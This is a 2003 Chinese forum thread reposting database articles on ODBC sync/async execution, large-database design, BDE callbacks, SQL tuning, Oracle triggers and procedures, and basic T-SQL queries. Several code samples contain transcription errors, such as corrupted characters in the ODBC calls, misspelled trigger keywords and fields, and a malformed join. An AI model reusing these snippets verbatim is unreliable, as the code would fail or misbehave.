近年来，随着计算机局域网技术的不断发展，计算机体系结构已经发展到复杂而开放的客户机／服务器模式。对于客户机／服务器应用的开发，现在常用的前端开发工具有：VisualBasic、Delphi、PowerBuilder等。它们可通过ODBC接口访问服务器的SQLServer数据库服务器。
VisualBasic、Delphi、PowerBuilder等开发工具在使用ODBC2．0来编写程序时，通常会提供三种方法来进行数据库应用程序的方案设计：
·使用数据控制项
·使用数据库对象变量进行编程
·直接调用ODBC2．0API
在客户机／服务器模式下进行数据库应用程序设计时，仅用前两种方法往往是不够的。因为采用前两种方法，其执行模式对于程序员是透明的，而ODBC2．0访问数据库时存在同步与异步执行模式之分，故容易因设计不当，发生系统死锁。因此，在实际编程序时，我们需要采用第三种方法来解决由同步和异步执行模式所造成的问题。

2．同步和异步执行模式
ODBC2．0访问数据库时，有同步执行模式与异步执行模式之分。
所谓同步执行模式，是指语句在同步执行模式下，将始终保持对程序流的控制，直至程序结束。例如查询操作，客户机上的应用程序在向服务器发出查询操作的指令后，将一直等待服务器将查询结果返回客户机端后，才继续进行下一步操作，如图1所示。
图1同步执行模式
所谓异步执行模式，是指语句在异步执行模式下，各语句执行结束的顺序与语句执行开始的顺序并不一定相同。例如查询操作，客户机上的应用程序在向服务器发出了查询操作的指令后，将立刻执行查询语句的下一条语句，而不需要等到服务器将查询结果返回客户机端后，才继续进行下一步操作。如图2所示。
图2异步执行模式
在一些应用程序开发工具中，在其提供使用数据控制项和数据库对象变量进行编程的同时，并没有很好地考虑到同步执行模式与异步执行模式的重要区别。为了使程序运行速度更快，其语句执行的缺省模式为异步模式。对于一般程序员来说，如果他对同步执行模式与异步执行模式不了解的话，他往往会在对服务器发出一个操作语句（查询或读取一条记录等操作）后，立刻引用服务器返回的执行结果，或者对该结果进行下一步操作；在异步执行模式下，客户机上的后续语句是在该操作语句发出后接着执行的，但由于各种原因，服务器不一定能执行完该操作语句，并在后续语句执行前将结果返回客户机。因此，后续语句在引用前一操作语句的执行结果时，往往会因为该执行结果并不存在而引用了错误的值，造成系统错误或死锁。

3．解决方案
解决上面所提到的问题，可以采取以下两种方案：
①利用ODBC2．0API，将语句执行状态设置为同步执行模式。ODBC2．0API中，函数SQLSetStmtOption（）的功能是设置同步或异步执行模式。我们可以采用以下语句，将语句执行状态设置为同步执行模式：iRetCodeΚSQLSetStmtOption（hStmt，SQL－ASYNC－EN?ABLE，0）
其中，hStmt是一有效的语句句柄，常数SQL－ASYNC－ENABLE是所要设置的选项，参数0表示该选项（即异步执行模式）关闭。如果iRetCode返回SQL－SUCCESS，则表示语句执行状态已被设置为同步执行模式。
②利用ODBC2．0API，将语句执行状态设置为异步执行模式，然后在程序中不断查询一个操作语句是否已经执行完毕。
ODBC2．0API中共有20多个函数支持异步执行，如上页表所示。
这些函数第一次调用后，将返回值SQL－STILL－EXE?CUTING，这时应用程序将继续执行后续语句。过了一段时间后，应该再次调用原函数，而且要注意：实参数应传入与第一次调用时相同的语句句柄，其他参数也应一样（但会被忽略）。如果函数返回值为SQL－SUCCESS，则表明该语句已经执行完毕；如果函数返回SQL－STILL－EXECUTING，则表明该语句仍在执行中。
我们可以用一个简单的例子说明如下：
iRetCodeΚSQLSetStmtOption（hStmt，SQL－ASYNC－ENABLE，1）
′置语句执行模式为异步执行模式
iRetCodeΚSQLExecDirect（hStmt，″SELECT＊FROMemployees″，23）
．．．．．．′执行其他操作
iRetCodeΚSQLExecDirect（hStmt，″SELECT＊FROMemployees″，23）
′判断SQLExecDirect（）是否已执行完毕
If（iRetCodeΚSQL－STILL－EXECUTING）Then
．．．．．．′该语句未执行完，继续执行其他操作
Else
If（iRetCodeΚSQL－SUCCESS）Then
．．．．．．′该语句已执行完，可对语句操作结果进行处理
EndIf
EndIf
同步执行模式可以简化程序编制的复杂性，对ODBC2．0API不十分熟悉的程序员，可以不用过多地了解比较复杂的ODBC2．0API，而只需使用数据控制项和数据库对象变量来编写应用程序，使开发效率大大提高，但程序运行速度比不上异步执行模式的速度。
异步执行模式虽然在编程序时十分复杂，但在这种模式下可以进行多任务并行执行，使执行效率大大提高。
我们在编制应用程序时，应根据自身的情况，对这两种模式的使用进行划分，以便既提高程序运行的安全可靠性，又提高程序执行的效率。

作者: ccwlm741212 时间: 2003-11-23 12:55
大型数据库设计原则
南昌航空工业学院电子工程系
喻金科
---- 一个好的数据库产品不等于就有一个好的应用系统，如果不能设计一个合理的数据库模型，不仅会增加客户端和服务器段程序的编程和维护的难度，而且将会影响系统实际运行的性能。一般来讲，在一个MIS系统分析、设计、测试和试运行阶段，因为数据量较小，设计人员和测试人员往往只注意到功能的实现，而很难注意到性能的薄弱之处，等到系统投入实际运行一段时间后，才发现系统的性能在降低，这时再来考虑提高系统性能则要花费更多的人力物力，而整个系统也不可避免的形成了一个打补丁工程。笔者依据多年来设计和使用数据库的经验，提出以下一些设计准则，供同仁们参考。

命名的规范
---- 不同的数据库产品对对象的命名有不同的要求，因此，数据库中的各种对象的命名、后台程序的代码编写应采用大小写敏感的形式，各种对象命名长度不要超过30个字符，这样便于应用系统适应不同的数据库。
游标（Cursor）的慎用
---- 游标提供了对特定集合中逐行扫描的手段，一般使用游标逐行遍历数据，根据取出的数据不同条件进行不同的操作。尤其对多表和大表定义的游标（大的数据集合）循环很容易使程序进入一个漫长的等特甚至死机，笔者在某市《住房公积金管理系统》进行日终帐户滚积数计息处理时，对一个10万个帐户的游标处理导致程序进入了一个无限期的等特（后经测算需48个小时才能完成）(硬件环境：Alpha/4000 128Mram ,Sco Unix ,Sybase 11.0)，后根据不同的条件改成用不同的UPDATE语句得以在二十分钟之内完成。示例如下：
Declare Mycursor cursor for select  count_no from COUNT
Open Mycursor
Fetch Mycursor into @vcount_no
While (@@sqlstatus=0)
Begin
If  @vcount_no=’’  条件1
操作1
If  @vcount_no=’’  条件2
操作2
。。。
Fetch Mycursor into @vcount_no
End
。。。
。。。
改为
Update COUNT set  操作1 for 条件1
Update COUNT set  操作2 for 条件2
。。。
。。。

---- 在有些场合，有时也非得使用游标，此时也可考虑将符合条件的数据行转入临时表中，再对临时表定义游标进行操作，可时性能得到明显提高。笔者在某地市〈电信收费系统〉数据库后台程序设计中，对一个表（3万行中符合条件的30多行数据）进行游标操作(硬件环境：PC服务器，PII266 64Mram ,NT4.0 Ms Sqlserver 6.5)。示例如下：

Create #tmp /* 定义临时表 */
( 字段1
字段2
。。。
)
Insert into #tmp select * from TOTAL where
条件  /* TOTAL中3万行符合条件只有几十行 */
Declare Mycursor cursor for select * from #tmp
  /*对临时表定义游标*/
。。。

索引(Index)的使用原则
---- 创建索引一般有以下两个目的：维护被索引列的唯一性和提供快速访问表中数据的策略。大型数据库有两种索引即簇索引和非簇索引，一个没有簇索引的表是按堆结构存储数据，所有的数据均添加在表的尾部，而建立了簇索引的表，其数据在物理上会按照簇索引键的顺序存储，一个表只允许有一个簇索引，因此，根据B树结构，可以理解添加任何一种索引均能提高按索引列查询的速度，但会降低插入、更新、删除操作的性能，尤其是当填充因子（Fill Factor）较大时。所以对索引较多的表进行频繁的插入、更新、删除操作，建表和索引时因设置较小的填充因子，以便在各数据页中留下较多的自由空间，减少页分割及重新组织的工作。
数据的一致性和完整性
---- 为了保证数据库的一致性和完整性，设计人员往往会设计过多的表间关联（Relation），尽可能的降低数据的冗余。表间关联是一种强制性措施，建立后，对父表（Parent Table）和子表(Child Table)的插入、更新、删除操作均要占用系统的开销，另外，最好不要用Identify 属性字段作为主键与子表关联。如果数据冗余低，数据的完整性容易得到保证，但增加了表间连接查询的操作，为了提高系统的响应时间，合理的数据冗余也是必要的。使用规则（Rule）和约束（Check）来防止系统操作人员误输入造成数据的错误是设计人员的另一种常用手段，但是，不必要的规则和约束也会占用系统的不必要开销，需要注意的是，约束对数据的有效性验证要比规则快。所有这些，设计人员在设计阶段应根据系统操作的类型、频度加以均衡考虑。
事务的陷阱
---- 事务是在一次性完成的一组操作。虽然这些操作是单个的操作，SQL Server能够保证这组操作要么全部都完成，要么一点都不做。正是大型数据库的这一特性，使得数据的完整性得到了极大的保证。
---- 众所周知，SQL Server为每个独立的SQL语句都提供了隐含的事务控制，使得每个DML的数据操作得以完整提交或回滚，但是SQL Server还提供了显式事务控制语句

---- BEGIN TRANSACTION 开始一个事务

---- COMMIT TRANSACTION 提交一个事务

---- ROLLBACK TRANSACTION 回滚一个事务

---- 事务可以嵌套，可以通过全局变量@@trancount检索到连接的事务处理嵌套层次。需要加以特别注意并且极容易使编程人员犯错误的是，每个显示或隐含的事物开始都使得该变量加1，每个事务的提交使该变量减1，每个事务的回滚都会使得该变量置0，而只有当该变量为0时的事务提交（最后一个提交语句时），这时才把物理数据写入磁盘。

数据库性能调整
---- 在计算机硬件配置和网络设计确定的情况下，影响到应用系统性能的因素不外乎为数据库性能和客户端程序设计。而大多数数据库设计员采用两步法进行数据库设计：首先进行逻辑设计，而后进行物理设计。数据库逻辑设计去除了所有冗余数据，提高了数据吞吐速度，保证了数据的完整性，清楚地表达数据元素之间的关系。而对于多表之间的关联查询（尤其是大数据表）时，其性能将会降低，同时也提高了客户端程序的编程难度，因此，物理设计需折衷考虑，根据业务规则，确定对关联表的数据量大小、数据项的访问频度，对此类数据表频繁的关联查询应适当提高数据冗余设计。
数据类型的选择
---- 数据类型的合理选择对于数据库的性能和操作具有很大的影响，有关这方面的书籍也有不少的阐述，这里主要介绍几点经验。
Identify字段不要作为表的主键与其它表关联，这将会影响到该表的数据迁移。

Text 和Image字段属指针型数据，主要用来存放二进制大型对象（BLOB）。这类数据的操作相比其它数据类型较慢，因此要避开使用。

日期型字段的优点是有众多的日期函数支持，因此，在日期的大小比较、加减操作上非常简单。但是，在按照日期作为条件的查询操作也要用函数，相比其它数据类型速度上就慢许多,因为用函数作为查询的条件时，服务器无法用先进的性能策略来优化查询而只能进行表扫描遍历每行。
---- 例如：要从DATA_TAB1中（其中有一个名为DATE的日期字段）查询1998年的所有记录。
---- Select * from DATA_TAB1 where datepart(yy,DATE)=1998

作者: ccwlm741212 时间: 2003-11-23 12:56
客户/服务器远程数据传输处理技巧

---- 在实际的MIS 系统中，远程数据库访问大多通过Modem 连接，出于通信费用及速度方面的考虑，往往采用先将数据保存在本地，然后集中传送到远端的办法。远程数据传送可以有多种方案，最常见的是先将要传送的数据打包成文件，在利用文件传输形式传送到目的地，在目的地对数据恢复后添加到本地数据库中。这种方法普遍地应用于证券交易系统，其优点是速度快，并且可事先对数据压缩，更大限度地节约传送时间及费用。但这种方案也有其不足之处：由于利用文件传输机制，无法利用数据库本身的特性如完整性约束、数据一致性、回滚机制等，因此在比较复杂的数据库系统中较少采用。另一种方法是直接将两端处理成" 客户/ 服务器" 模式，将数据传送看成是向Server 提交数据。由于这种方案充分利用了数据库服务器的特性，并且实际操作基本与局域网方式一致，因此本文将详细介绍这种方案。另外本文的部分内容是基于Delphi/CBuilder 的。

---- 由于传输速度的原因，当传送大量数据时绝对不赞成逐条记录地向服务器提交数据，而应批量地向Server 提交，Delphi/CBuilder 中提供了一个TBatchMove 控件专门用于批量传送数据，利用它可极大减少网络负担，提高传送速度。遗憾的是，TBatchMove 控件只提供了简单的错误控制功能，没有提供显示传送进度、用户终止传送等重要功能。然而TBatchMove 所依赖的BDE 却提供了一种" 回调机制" 可以完成上述两个功能。所谓" 回调" 过程是这样的：当BDE 执行某种操作时，比如从一张表向另一张表拷贝大量数据的过程中，每过一段时间（如需要显示拷贝进度时），BDE 会调用一段你自己写的函数（回调函数），以帮助你更完全地控制程序。这种做法有点想DLPHI 中的Event（事件）及事件处理函数-- 某个具体的操作动作会让VCL 触发某个事件，从而调用一段你写好的事件处理函数，不同的事件会触发不同的处理函数。

---- 为了让BDE 能正确地与你的函数协同工作，你必须事先" 注册" 你的函数，让BDE 知道某个事件发生时应调用（回调）你的某段代码。BDE 提供了一个DbiRegisterCallBack 注册函数，不幸的是，BDE 的联机帮助中的说明不能适合于Delphi/CBuilder，按照该说明编写的程序根本不能通过编译！笔者通过实践找到了正确使用BDE 回调函数的方法，下面将详细介绍该机制的使用。 BDE 回调机制包含以下几个步骤：

---- 1）按BDE 的预定格式编写你的回调函数

---- 2）调用DbiRegisterCallBack 函数注册你的回调函数，这样当你执行相关数据库操作时就自然地触发你的回调函数。

---- 3）执行相关数据库操作，比如BatchMove1- >Exectue();

---- 4）注销该回调函数

---- 其中最关键的是正确注册你的回调函数，因此先介绍第二步。( 注册与注销都调用同一函数，只是最后一个参数略有不同)

---- 首先你应知道在哪类" 事件" 发生时调用你的回调函数，其次你应明白与该事件相关的参数及数据结构-- 这一切都发生在调用DbiRegisterCallBack 函数注册时，所以下面先介绍DbiRegisterCallBack 的正确用法及说明：

---- 在原BDE 帮助中该函数的原形（C）是这样的

DBIResult DBIFN DbiRegisterCallBack (hCursor,
ecbType, iClientData, iCbBufLen, pCbBuf, pfCb);

---- 要使用该函数必须include 头文件，问题是Delphi/CBuilder 中根本没有提供该文件，取而代之的是"BDE.HPP"，但是在包含进该文件后程序仍然不能编译通过，因为该文件中没有DBIFN 等的说明。一个简单的方法是在代码中去掉DBIFN。函数中各参数解释如下：hCursor 是一个BDE 中对象的句柄，如果这个参数为NULL，则表示注册的回调函数适合于所有BDE 任务；第二个参数ecbType 是指回调函数的触发条件的类别，有很多种类型可以选择，其中cbGENPROGRESS 表示当需要显示一个长操作的进度时触发这个回调函数；第三个参数iClientData 是传递给回调函数的某个数据结构的指针，在我们的例子中为NULL；第四个参数iCbBufLen 是指回调Buffer 的大小，该大小随第二个参数的不同而不同，比如sizeof(CBPROGRESSDesc)；第五个参数pCbBuf 是回调Buffer 的指针，该指针类型随第二个参数变化，比如cbGENPROGRESS 的数据结构是CBPROGRESSDesc；最后一个参数是回调函数的地址指针，当该参数为NULL 时表示注销该类型的回调函数。关于回调函数将在稍后详细介绍。下面是注册执行长操作时显示进度的回调函数的格式：

int rst= DbiRegisterCallBack (NULL,
//适合于任何进程
cbGENPROGRESS, //回调类型：显示长操作的进度
NULL, //没有数据
sizeof(CBPROGRESSDesc), //数据结构的大小
&aCBBuf, //数据的内存地址
ApiCallBackFun  //回调函数的地址
);

---- 接下来就应该完成第一步：编写回调函数

---- 在C 中，回调函数应如下声明：

CBRType __stdcall ApiCallBackFun(
CBType    ecbType, //回调类型
int    iClientData, //回调数据（指针）
void *       pCbInfo //回调数据结构指针
)

---- 第一个参数是回调类型；第二个参数是回调数据，其解释同DbiRegisterCallBack 的第三个参数；第三个是回调数据的指针，该数据的结构随回调类型的不同而不同。比如进度指示cbGENPROGRESS 的数据结构是CBPROGRESSDesc，其定义如下：

struct CBPROGRESSDesc {
short iPercentDone; //进度的百分比
char szMsg[128];  //进度的文本信息
};

---- 该结构的两个域同时只有一个起作用，第一个表示操作的进度百分比，当其为-1 时表示第二个域起作用。第二个域用字符串表示进度信息，其格式为< String >< : >< Value >，比如：Records Copied : 125

---- 本文主要在回调函数中完成两个工作：

---- 1）显示数据拷贝（BatchMove）进度

---- 2）提供让用户终止长时间拷贝的机制

---- 显示拷贝进度的代码如下：

CBRType __stdcall ApiCallBackFun(
CBType    ecbType, // Callback type
int    iClientData,  // Client callback data
void *       pCbInfo // Call back info/Client)
{ AnsiString str;
if(ecbType==cbGENPROGRESS)
   {
   int j=  StrToInt( ((CBPROGRESSDesc*)
   pCbInfo)- >iPercentDone);
   if(j< 0)
   //如果iPercentDone为-1，则分析szMsg的信息
   {
   str=((CBPROGRESSDesc*)pCbInfo)- >szMsg;
   int pos=str.AnsiPos(":"

+1;
   //提取出拷贝的记录数
   //下面的代码用来在一个Form中显示拷贝进度及拷贝数量
   Form1- >Label2- >Caption= str.SubString(pos,100);
   Form1- >Label2- >Update();
   Form1- >ProgressBar1- >Position=
   int((str.SubString(pos,100).
   ToDouble()/Form1- >TransNum)*100);
   Form1- >ProgressBar1- >Update();
   }
else
   {Form1- >ProgressBar1- >Position=j;
   Form1- >ProgressBar1- >Update();
   }
return cbrCONTINUE;
  //必须返回cbrCONTINUE以便让BatchMove继续
//若返回cbrABORT则终止拷贝
}

---- 一切完成以后，每当调用长时间BDE 操作（比如BatchMove1->Exectue()）时都会触发该回调函数，注意在不需要时应" 注销" 这个回调函数。

---- 如果批量传送数据时间很长，则必须为用户提供终止该操作的机会，前面提到，若回调函数返回cbrABORT，则BatchMove 过程立即终止。可以在Form 上加上一个" 停止" 按钮和一个全局布尔变量isContinue，当开始拷贝时设该变量为true，当按钮按下后，设该变量为false，每次调用回调函数时检查isContinue 的值，若为true 则回调函数返回cbrCONTINUE 让拷贝继续，否则返回cbrABORT 终止拷贝。但是问题在于一旦拷贝过程开始，该进程内所有消息将被阻塞，应用程序在拷贝结束之前没有机会响应键盘、鼠标等一切消息，连屏幕刷新都不能完成，因此必须找到一种避免消息阻塞的方法。

---- 大家知道，Windows 是靠事件（消息）驱动的，在WIN32 系统中有两种消息队列：系统队列和应用程序队列，当一个程序进行一个长时间操作时，系统分配给该程序的时间片将完全用于处理该操作，换句话说，应用程序没有从它的应用程序队列中取出消息并处理的机会，这样该程序将停止一切对外部事件的响应直到该操作完成为止。具体到本文中就是程序必须等到BatchMove1- >Execute() 执行完毕后才能响应用户操作，因此用户将完全没有机会终止拷贝过程。

---- 解决的办法是：在回调函数中取出消息队列中的消息，并后台处理它们，这样用户将有机会按下终止按钮。实现的代码很简单，在回调函数中最后加入以下代码即可

CBRType __stdcall ApiCallBackFun(…)
{
……
MSG amsg;
while(PeekMessage(&amsg,NULL,0,0,PM_REMOVE))
//从队列中取消息
   {
   TranslateMessage(&amsg); //翻译消息
   DispatchMessage(&amsg); //分发消息
   }
if (isContinue)
return cbrCONTINUE;
else
return cbrABORT;
}

---- 以上的代码虽然都用CBuilder 编写，但是其原理同样适用于DELPHI。

作者: ccwlm741212 时间: 2003-11-23 12:57
优化SQL执行效能的几点常识

我想大家都知道，优化数据库的执行效能是一个专门的技术，Oracle有这方面专门的图书，如Oracle Tunning Tec.本文只涉及了很少的一部分--优化SQL的一些小常识。

1）不知大家是否喜欢使用‘NOT IN’这样的操作，如果是，那尽量使用(NOT) EXISTS 替代

例子：
语句1

SELECT dname, deptno

FROM dept

WHERE deptno NOT IN

(SELECT deptno FROM emp);

语句2

SELECT dname, deptno

FROM dept

WHERE NOT EXISTS

(SELECT deptno

FROM emp

WHERE dept.deptno = emp.deptno);

明显的，2要比1的执行性能好很多

因为1中对emp进行了full table scan,这是很浪费时间的操作。而且1中没有用到emp的index，

因为没有where子句。而2中的语句对emp进行的是range scan。

2）在海量查询时尽量少用格式转换。

如用

WHERE a.order_no = b.order_no

而不用

WHERE TO_NUMBER (substr(a.order_no, instr(b.order_no, '.') - 1)

= TO_NUMBER (substr(a.order_no, instr(b.order_no, '.') - 1)

3）查询海量数据是，可以使用optimizer hints，例如/*+ORDERED */

如

SELECT /*+ FULL(EMP) */ E.ENAME

FROM EMP E

WHERE E.JOB = 'CLERK';

而不是

SELECT E.ENAME

FROM EMP E

WHERE E.JOB || '' = 'CLERK';

作者: ccwlm741212 时间: 2003-11-23 12:58
提高客户机/服务器应用系统性能的一些方法

　　　　　　作者：陈霞罗铁坚

摘要客户机/服务器的应用逻辑设计是否合理,直接影响到客户机/服务器方式应用系统的处理性能。本文以Oracle 7服务器为平台提出一些方法,以确定如何划分应用逻辑,使客户机/服务器应用系统有较高的处理效率。
关键词 PL/SQL 触发子客户机/服务器

一、问题的提出
80年代末到90年代初,许多应用系统从主机终端方式、文件共享方式向客户机/服务器方式过渡。客户机/服务器系统比文件服务器系统能提供更高的性能,因为客户机和服务器将应用的处理要求分开,同时又共同实现其处理要求(即"分布式应用处理"

。服务器为多个客户机管理数据库,而客户机发送请求和分析从服务器接收的数据。在一个客户机/服务器应用中,数据库服务器是智能化的,它只封锁和返回一个客户机请求的那些行,保证了并发性,使网络上的信息传输减到最少,因而可以改善系统的性能。在客户机/服务器系统中,应用的处理是分布在网络上的,所以在设计客户机方数据库应用程序时,若把过多的负担加在网络上,没有充分利用数据库的存储过程,没有把网络访问最小化,结果是应用程序要执行过多的网络I/O,使网络饱和,从而降低了整个系统的性能。要开发好的客户机/服务器应用系统,必须搞清楚如何在组成系统的各部分之间分布应用功能。
本文提出一些方法来确定客户机/服务器数据库系统中哪些功能应放在哪里实现。客户机应用程序主要侧重于用某种方便用户的方式表示和(或)分析数据。开发客户机应用程序时,网络传输量是应重点考虑的问题之一。应注意应用程序如何向数据库服务器发送信息或从数据库服务器接收信息以及发送和接收多少数据。通常客户机/服务器系统上网络I/O是应用程序性能的瓶颈,一个应用程序引起的网络上I/O越少,应用及整个系统的运行情况越好。要从一个客户机应用中消除不必要的网络传输量,需要理解和利用SQL命令及数据库上的其它一些特征。

二、一个例子
下面,我们来考虑这样一个例子:一个数据库应用程序完成显示每个销售订单的所有行的金额合计。
一般算法分两步:
(1)每行项目中数量乘以单价=金额;
(2)把每行金额累加。
第一种方法:
每次一行,然后,用应用程序累加,即
SELECT orderid, quantity ,unitprice
FROM item ,stock
WHERE stock.id=item.id
ORDER BY orderid
结果为:
orderid quantity unitprice
1 1 6.03
1 1 21.4
1 4 87.12
2 2 8.97
2 3 21.4
采用这种方法,若业务量增大,则其网络的传输量相应增大。
第二种方法:
让数据库服务器进行计算,然后只把结果从网上取过来,即:
SELECT orderid ,SUM(quantity *unitprice)
FROM item , stock
WHERE item.id=stock.id
GROUP BY orderid
ORDER BY orderid
结果为:
orderid SUM(quantity*unitprice)
1 265.87
2 82.14
如上所示,由于第二种查询使用了一个SQL的组合,即一个SQL函数(SUM)以及一个GROUP BY子句,让服务器来执行计算。因此,只需从网上传输较少的数据。
这个简单例子说明:

1.在客户机/服务器环境中如何用SQL函数减少网络上的传输量;
2.开发人员必须完全熟悉SQL才能做出好的客户机数据库应用程序。
三、提高性能的方法
下面我们介绍几种提高性能的方法。

1.使用完整性约束
所有客户机应用程序必须遵循一系列预先定义的数据完整性规划及业务规则,以保证所有数据库数据是合法的。可以使用两种方法来实施一个简单的完整的规则:让应用程序执行完整性检查;使用Oracle7的完整性约束。
(1)让应用程序执行完整性检查
例如,任何一个订单( orders)的顾客号必须是客户机表( customer)中的顾客户机号。这是一个最简单的引用完整性,可以用应用程序本身执行完整性检查。
DECLARE
flag INTEGER;
BEGIN
SELECT id INTO flag
FROM customer
WHERE id=3
FOR UPDATE OF id;
IF SQL%FOUND THEN
INSERT INTO orders
VALUES(5,3,SYSDATE,null,null,'F');
-- 其他应用逻辑
COMMIT;
END IF;
END;
这个过程只是在应用程序内部用于实施引用完整性规则的一种方法,但可以看出,为实施一个简单的完整性规则,应用程序要花大量的时间通过网络来请求和发送数据。(2)使用Oracle 7的完整性约束
CREATE TABLE orders
(
id INTEGER PRIMARY KEY,
customer id INTEGER NOT NULL REFERENCES customer,
orderdate DATE NOT NULL,
shipdate DATE DEFAULT SYSDATE,
paidate DATE DEFAULT SYSDATE,
status CHAR(1) DEFAULT ‘F' CHECK(status IN(‘F'
,‘B'))
);
实施简单完整性规则(如引用完整性)的更好方法是使用Oracle 7的完整性约束。该方法的好处是明显的:
①定义一个表的同时,方便地建立完整性约束,开发人员不需为实施一个简单的完整性规则而创建测试、排错复杂的数据完整性逻辑,提高了工作效率;
②用集中化的方法实现完整性规则;
③无需任何网络I/O,客户机/服务器系统也就不会因为网络访问而降低性能。
2.使用数据库触发器
应用程序经常需要实施复杂的业务规则,这些规则无法用完整性规则表示,所以最好不要按照常规思路在应用程序中实施完整性规则;而是用数据触发子(triggers)来实施业务规则。其优点是容易创建,可集中进行规则实施,避免不必要的网络I/O。利用数据库触发子可以使其他一些应用程序集中化和自动化。比如,计算item 表中的total 列的值是所订零件的数量乘以零件的单价,而零件单价存放在stock表中,当插入一个新的行项目时,应用程序计算total列的值有两种方法。
方法一:让应用程序通过SQL命令执行这个操作
DECLARE total REAL;
BEGIN
SELECT unitprice*quantity INTO total
FROM stock, item
WHERE id=4;
INSERT INTO item VALUES(...);
END
应用程序通过网络发出请求,取得某一些零件单价,然后插入这个含有该行计算值(tota l)的行。修改item表中某行数量值,应用程序需要包含相似的逻辑来计算。此外,多个用户还可能同一时刻插入和修改订单。总之,用这种方法来计算total 列时会在客户机/服务器系统中产生大量的网络传输。
方法二:用数据库触发子, 从一个行项目自动导出total 的值,
当用户在item表中插入新行或修改quantity时,无需任何网络访问。
CREATE TRIGGER Linetotal
BEFORE INSERT OR UPDATE OF quantity,stockid
ON item
FOR EACH ROW
DELARE
itemprice REAL;
BEGIN
SELECT unitprice
INTO itemprice
FROM stock
WHERE id=:new.stockid;
:new.tolal:=new.quantity*itemprice;
END linetotal;
当创建触发器linetotal后, 应用开发人员在编写应用程序时就不需考虑保持total列为最新值的问题,而且网络数据库上所有应用都会因此受益。
3.利用过程和包优化性能
这里主要讨论如何利用完整性约束和数据库触发器把应用逻辑移到数据库服务器中执行以便减少网络I/O,提高性能。
其它类型应用处理逻辑分布到数据库服务器亦可以减少客户机/服务器应用中的网络I/ O,应用程序不必再用包含多个网络操作的SQL语句去执行数据库服务器操作,而是简单且有效地调用存储过程。包是一种用来把多个有关的过程在数据库中封装起来的方法。
下面是用SQL和用存储过程例子的差异:
例如要插入某些行项目的订单,用SQL实现过程:
INSERT INTO orders VALUES(...)
INSERT INTO item VALUES(1,..)
UPDATE stock SET onhand=...
INSERT INTO orders VALUES(...)
INSERT INTO item VALUES(2,..)
UPDATE stock SET onhand=...
INSERT INTO orders VALUES(...)
INSERT INTO item VALUES(3,..)
UPDATE stock SET onhand=...
COMMIT;
要创建一个新销售订单并插入它的三个行项目,应用程序必须用7个不同的的SQL语句来实现,每个语句都要通过网络传输数据,要减少这些SQL语句在客户机/服务器系统中产生的网络传输量,可以创建两个简单的过程来插入订单及行项目。
CREATE PROCEDURE placeorder(custid IN INTEGER) AS
BEGIN
INSERT INTO orders
VALUES(orderseq.NEXTVAL,custid,SYSDATE,null,null,‘F
');
END placeorder;
CREATE PROCEDURE placeitem
(itemid IN INTEGER,partid IN INTEGER, quan IN INTEGER)
AS
BEGIN
INSERT INTO item(id,orderid,stockid,quantity)
VALUES(itemid,orderseq.CURRVAL,partid,quan);
UPDATE stock
SET onhand=onhand-quan
WHERE id=partid;
END placeitem;
应用程序只需简单调用这几个过程。
Placeorder(3);
Placeitem(1,3,2);
Placeitem(2,8,1);
Placeitem(3,9,3);
当一个应用程序调用存储过程时,通过网络发送的数据只有过程调用及参数。本文提出的提高客户机/服务器应用系统性能的方法,主要是采用合理分布处理逻辑于客户机端与服务器端,并充分利用数据库服务器来提高执行速度。该方法的有效性,已在我们开发的多项客户机/服务器应用系统中得到证实。此外,在提高性能的措施和方法中,SQL语句的查询优化问题也不可忽视。综合上述两种方法,才能从根本上提高
客户机/服务器应用系统的性能。

参考文献
1 Steven M.Bobrowski. Mastering Oracle7 & Client/Server
Computing, SYBEX I nc. 1995.
2 Michael J. Corey etc. Oracle数据库性能优化技术,学苑
出版社,1994.

作者: ccwlm741212 时间: 2003-11-23 12:58
SQL查询语句使用
作者：任我行
文章属性:转贴
一、简单查询
简单的Transact-SQL查询只包括选择列表、FROM子句和WHERE子句。它们分别说明所查询列、查询的
表或视图、以及搜索条件等。
例如，下面的语句查询testtable表中姓名为“张三”的nickname字段和email字段。
SELECT nickname,email
FROM testtable
WHERE name='张三'

(一)选择列表
选择列表(select_list)指出所查询列，它可以是一组列名列表、星号、表达式、变量(包括局部变
量和全局变量)等构成。
1、选择所有列
例如，下面语句显示testtable表中所有列的数据：
SELECT *
FROM testtable

2、选择部分列并指定它们的显示次序
查询结果集合中数据的排列顺序与选择列表中所指定的列名排列顺序相同。
例如：
SELECT nickname,email
FROM testtable

3、更改列标题
在选择列表中，可重新指定列标题。定义格式为：
列标题=列名
列名列标题
如果指定的列标题不是标准的标识符格式时，应使用引号定界符，例如，下列语句使用汉字显示列
标题：
SELECT 昵称=nickname,电子邮件=email
FROM testtable

4、删除重复行
SELECT语句中使用ALL或DISTINCT选项来显示表中符合条件的所有行或删除其中重复的数据行，默认
为ALL。使用DISTINCT选项时，对于所有重复的数据行在SELECT返回的结果集合中只保留一行。

5、限制返回的行数
使用TOP n [PERCENT]选项限制返回的数据行数，TOP n说明返回n行，而TOP n PERCENT时，说明n是
表示一百分数，指定返回的行数等于总行数的百分之几。
例如：
SELECT TOP 2 *
FROM testtable

SELECT TOP 20 PERCENT *
FROM testtable

(二)FROM子句
FROM子句指定SELECT语句查询及与查询相关的表或视图。在FROM子句中最多可指定256个表或视图，
它们之间用逗号分隔。
在FROM子句同时指定多个表或视图时，如果选择列表中存在同名列，这时应使用对象名限定这些列
所属的表或视图。例如在usertable和citytable表中同时存在cityid列，在查询两个表中的cityid时应
使用下面语句格式加以限定：
SELECT username,citytable.cityid
FROM usertable,citytable
WHERE usertable.cityid=citytable.cityid
在FROM子句中可用以下两种格式为表或视图指定别名：
表名 as 别名
表名别名

例如上面语句可用表的别名格式表示为：
SELECT username,b.cityid
FROM usertable a,citytable b
WHERE a.cityid=b.cityid

SELECT不仅能从表或视图中检索数据，它还能够从其它查询语句所返回的结果集合中查询数据。
例如：
SELECT a.au_fname+a.au_lname
FROM authors a,titleauthor ta
(SELECT title_id,title
FROM titles
WHERE ytd_sales>10000
) AS t
WHERE a.au_id=ta.au_id
AND ta.title_id=t.title_id
此例中，将SELECT返回的结果集合给予一别名t，然后再从中检索数据。

(三)使用WHERE子句设置查询条件
WHERE子句设置查询条件，过滤掉不需要的数据行。例如下面语句查询年龄大于20的数据：
SELECT *
FROM usertable
WHERE age>20

WHERE子句可包括各种条件运算符：
比较运算符(大小比较)：>、>=、=、<、<=、<>、!>、!<
范围运算符(表达式值是否在指定的范围)：BETWEEN…AND…
NOT BETWEEN…AND…
列表运算符(判断表达式是否为列表中的指定项)：IN (项1,项2……)
